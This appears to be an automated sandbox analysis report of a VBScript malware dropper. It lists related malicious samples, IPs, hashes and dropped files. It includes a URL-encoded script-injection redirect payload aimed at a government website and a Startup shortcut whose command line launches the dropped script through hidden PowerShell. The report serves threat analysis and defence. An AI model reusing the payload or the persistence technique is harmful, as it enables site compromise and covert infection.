	https://globalairt.com/arull.php?7104797967704b536932307464507a53744a4c53704a7a4d77727273784c7a7453725374524c7a732f564c3477776474594841413d3dkkirkman@ssc.nsw.gov.au	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse	172.67.159.45
	SentinelOculus.exe	Get hash	malicious	LummaC	Browse	172.67.209.193
	win.exe	Get hash	malicious	LummaC	Browse	172.67.209.193
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	104.21.14.133
	6.dll	Get hash	malicious	Unknown	Browse	104.20.4.235
AMAZON-AESUS	cleu.cmD	Get hash	malicious	Unknown	Browse	52.202.204.11
	http://fpnc.vnvrff.com/	Get hash	malicious	Unknown	Browse	3.233.158.26
	https://www.florenceco.org/offices/elected/solicitor/docket.php?area=florence%22%3E%3C%69%6D%67%20%73%72%63%3D%22%69%6D%61%67%65%2E%6A%70%67%22%20%6F%6E%65%72%72%6F%72%3D%22%76%61%72%20%75%72%6C%31%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%20%76%61%72%20%75%72%6C%32%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%76%61%72%20%75%72%6C%20%3D%20%5B%27%68%74%27%2C%27%74%70%27%2C%27%73%3A%2F%2F%76%27%2C%27%61%75%6C%27%2C%27%74%64%6F%27%2C%27%72%65%73%2E%63%27%2C%27%6F%6D%2F%30%2F%27%2C%27%30%2F%30%2F%27%2C%27%34%33%66%66%27%2C%27%35%63%62%35%27%2C%27%63%36%27%2C%27%32%65%27%2C%27%32%66%38%64%31%27%2C%27%31%63%61%33%38%38%27%2C%27%65%34%37%35%62%36%27%2C%27%63%34%36%2F14/392-16513/1254-3178-27524%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%20%75%72%6C%20%3D%20%75%72%6C%2E%72%65%70%6C%61%63%65%28%2F%2C%2F%67%2C%20%27%27%29%3B%20%76%61%72%20%77%69%6E%20%3D%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%75%72%6C%2C%20%27%5F%73%65%6C%66%27%29%3B%20%77%69%6E%2E%6F%70%65%6E%65%72%20%3D%20%6E%75%6C%6C%3B%20%77%69%6E%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%75%72%6C%29%3B%22%3E	Get hash	malicious	Phisher	Browse	3.5.29.116
	https://www.kisa.link/dANpz	Get hash	malicious	Phisher	Browse	54.226.116.141
	https://miro.com/app/board/uXjVLYy6Kvw=/?share_link_id=292365195661	Get hash	malicious	Unknown	Browse	44.197.221.236
	https://we.tl/t-HZxxLlhj0a	Get hash	malicious	Unknown	Browse	34.233.9.239
	yakov.arm7.elf	Get hash	malicious	Mirai	Browse	18.214.158.31
	novo.arm64.elf	Get hash	malicious	Mirai, Moobot	Browse	52.73.253.16
	novo.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	54.156.155.101
	novo.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	54.18.3.77
CLOUDFLARENETUS	file.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	file.exe	Get hash	malicious	Unknown	Browse	104.21.54.163
	Fvqw64NU4k.exe	Get hash	malicious	FormBook	Browse	104.21.12.107
	https://porn-app.com/download2	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://globalairt.com/arull.php?7104797967704b536932307464507a53744a4c53704a7a4d77727273784c7a7453725374524c7a732f564c3477776474594841413d3dkkirkman@ssc.nsw.gov.au	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse	172.67.159.45
	SentinelOculus.exe	Get hash	malicious	LummaC	Browse	172.67.209.193
	win.exe	Get hash	malicious	LummaC	Browse	172.67.209.193
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	104.21.14.133
	6.dll	Get hash	malicious	Unknown	Browse	104.20.4.235

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Unknown	Browse	3.5.25.83 52.216.144.11 104.20.4.235 185.166.143.50 188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	3.5.25.83 52.216.144.11 104.20.4.235 185.166.143.50 188.114.96.3
	T3xpD9ZaYu.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	3.5.25.83 52.216.144.11 104.20.4.235 185.166.143.50 188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	3.5.25.83 52.216.144.11 104.20.4.235 185.166.143.50 188.114.96.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	3.5.25.83 52.216.144.11 104.20.4.235 185.166.143.50 188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	3.5.25.83 52.216.144.11 104.20.4.235 185.166.143.50 188.114.96.3
	MZs41xJfcH.exe	Get hash	malicious	PureLog Stealer, Quasar, zgRAT	Browse	3.5.25.83 52.216.144.11 104.20.4.235 185.166.143.50 188.114.96.3
	http://www.sunsetsafaris.com.au//home	Get hash	malicious	Unknown	Browse	3.5.25.83 52.216.144.11 104.20.4.235 185.166.143.50 188.114.96.3
	N5mRSBWm8P.exe	Get hash	malicious	Quasar	Browse	3.5.25.83 52.216.144.11 104.20.4.235 185.166.143.50 188.114.96.3
	http://fpnc.vnvrff.com/	Get hash	malicious	Unknown	Browse	3.5.25.83 52.216.144.11 104.20.4.235 185.166.143.50 188.114.96.3

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.363435887027673
Encrypted:	false
SSDEEP:	6:Q3La/xwcz92W+P12MUAvvr3tDLIP12MUAvvR+uTL2ql2ABgTv:Q3La/hz92n4M9tDLI4MWuPTAv
MD5:	A92E44C0313DAFEC1988D0D379E41A2F
SHA1:	C2F5644C418A81C1FB40F74298FF39D1420BFAC0
SHA-256:	F3F3E681BE07C36042639B1679ACF8B2D23BE037713D5E395C48006840DBE77A
SHA-512:	4F32FE6F35FC6EB4D4CF41EDEDE3C6B3FDFE31E58DA6FC7B301B1EBD3FBEEE64681C928B45E87CD556A1D32D32CB5932764EAB22FFEE11E42B8D5EB0DCFDC22C
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a5zxrcmv.44j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_abdusf4f.udj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bn4bqwut.c5l.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dcvzgm3x.ugi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fqshfa0f.l4l.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jonxo1zk.v41.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kmlv3wz5.2sc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_moua3ibh.onf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ozlioxpl.2gx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rzmmshbr.mbw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tzi5hycm.gkg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xtpvmfhw.ajs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yl3v3krf.a0p.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yuijkz0k.yqu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\sostener.vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (604), with CRLF line terminators
Category:	dropped
Size (bytes):	16171698
Entropy (8bit):	3.618016381944346
Encrypted:	false
SSDEEP:	384:ySSSSbSSSSbSSSSbSSSSCSSSSbSSSSbSSSSbSSSSbSSSSbSSSSbSSSSbSSSSCSSB:4
MD5:	B18FCB9A2AF66C700B70CD9F9A58A563
SHA1:	DAE167B9D105E0A29DFB43D83540634819C41F0F
SHA-256:	06EB284366B1E9EF0CB5DDE4F81E8AD974370D6CA1CF6E9969A9721EE5A6DF2D
SHA-512:	6003D459F3B01B5E71BC6CEF265BAA91CB083E5F7B23E3833CC2392538579EC776E5036405E16DA5389CA9DBB955080FBE93C932EEAF231C8C7F19CE05A7974C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	..............'.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.'.'.'.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....'. . .5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..5..5..5..5..5..5..5..5..5..5.. .5..5..

C:\Users\user\AppData\Local\Temp\sostener.vbs:Zone.Identifier

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2UZKQMWYGED19HY3O59J.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5458
Entropy (8bit):	3.947967445017931
Encrypted:	false
SSDEEP:	48:dC9P2Zb2BCtJbuOMCnhu7k2Up/lzDSogZo1E2Up/lIDSogZox1:Q9OZb2BCtJMCYY2Up/kHV2Up/lHG
MD5:	63A2A301C472B28E18A688220E837F1B
SHA1:	596573AC1B048A22D29FDB6644A4D53E5C8C95C3
SHA-256:	084C8B38F8B61095A5656652C649CBB0C0686F428E122FC8C2EBD494BEA66EE3
SHA-512:	436B65CD459FB4C6D87160C971A52C547379EF493D61EEA315C9288F16DFB4B56516BF816522C365D0C875B3752E0915A608F61B0C80A2D7E5BA886CF92EB234
Malicious:	false
Preview:	...................................FL..................F. .. ....VM$P...\|.C,P....BY$P.............................:..DG..Yr?.D..U..k0.&...&...... M.......(.P....3F,P.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSlCY.&....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....CY.&..Roaming.@......DWSlCY.&....C......................n..R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSlCY.&....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSlCY.&....E......................._.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSlCY.&....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSlCY.&....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....~.1.....CY.&..Startup.h......DWUlCY.&....................>...../h..S.t.a.r.t.u.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.7.......2.....CY.& .___WIN~1.LNK.........CY.&CY.&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\784fc8aa2e762387.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5458
Entropy (8bit):	3.947967445017931
Encrypted:	false
SSDEEP:	48:dC9P2Zb2BCtJbuOMCnhu7k2Up/lzDSogZo1E2Up/lIDSogZox1:Q9OZb2BCtJMCYY2Up/kHV2Up/lHG
MD5:	63A2A301C472B28E18A688220E837F1B
SHA1:	596573AC1B048A22D29FDB6644A4D53E5C8C95C3
SHA-256:	084C8B38F8B61095A5656652C649CBB0C0686F428E122FC8C2EBD494BEA66EE3
SHA-512:	436B65CD459FB4C6D87160C971A52C547379EF493D61EEA315C9288F16DFB4B56516BF816522C365D0C875B3752E0915A608F61B0C80A2D7E5BA886CF92EB234
Malicious:	false
Preview:	...................................FL..................F. .. ....VM$P...\|.C,P....BY$P.............................:..DG..Yr?.D..U..k0.&...&...... M.......(.P....3F,P.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSlCY.&....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....CY.&..Roaming.@......DWSlCY.&....C......................n..R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSlCY.&....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSlCY.&....E......................._.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSlCY.&....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSlCY.&....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....~.1.....CY.&..Startup.h......DWUlCY.&....................>...../h..S.t.a.r.t.u.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.7.......2.....CY.& .___WIN~1.LNK.........CY.&CY.&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_win______________________________________-------.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=169, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1202
Entropy (8bit):	3.3426522433889003
Encrypted:	false
SSDEEP:	12:8o6m/3BVSXvk44X3ojsqzKtnWNjW+UcCsvXF4rsZcVlQ1D9eiNL4t2YZ/elFlSJm:8a/BHYVKVWA+/CWerCcIb5qy
MD5:	E4EE0F1B172F2CDE33D0B1C7F70C78EB
SHA1:	24DB6C9F3432AEF13308631BC779EA2379A6CF76
SHA-256:	D8FF3118898DE9A87A69C4516D9FFCA157EE8614F054D0CD13636C2DD4C3F50D
SHA-512:	B2740257D577C8F623C70516C1099D51E7DF33D73491F10473CCB8D4A647B3BBCA59F4031C66DFD4E3B97C59D16EA78A1AE77EA1C06AF323681931B95B2497ED
Malicious:	true
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................V.1...........Windows.@............................................W.i.n.d.o.w.s.....Z.1...........System32..B............................................S.y.s.t.e.m.3.2.....t.1...........WindowsPowerShell.T............................................W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l... .N.1...........v1.0..:............................................v.1...0.....l.2...........powershell.exe..N............................................p.o.w.e.r.s.h.e.l.l...e.x.e.......Q.....\.....\.....\.....\.....\.....\.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l.\.v.1...0.\.p.o.w.e.r.s.h.e.l.l...e.x.e.g.-.W.i.n.d.o.w.S.t.y.l.e. .h.i.d.d.e.n. .-.c.o.m.m.a.n.d. .w.s.c.r.i.p.t...e.x.e. ././.b. ././.n.o.l.o.g.o. .'.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.s.o.s.t.e.n.e.r...v.b.s.'...I.m.a.g.e.r.e.s...d.l.l

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (604), with CRLF line terminators
Entropy (8bit):	3.618016381944346
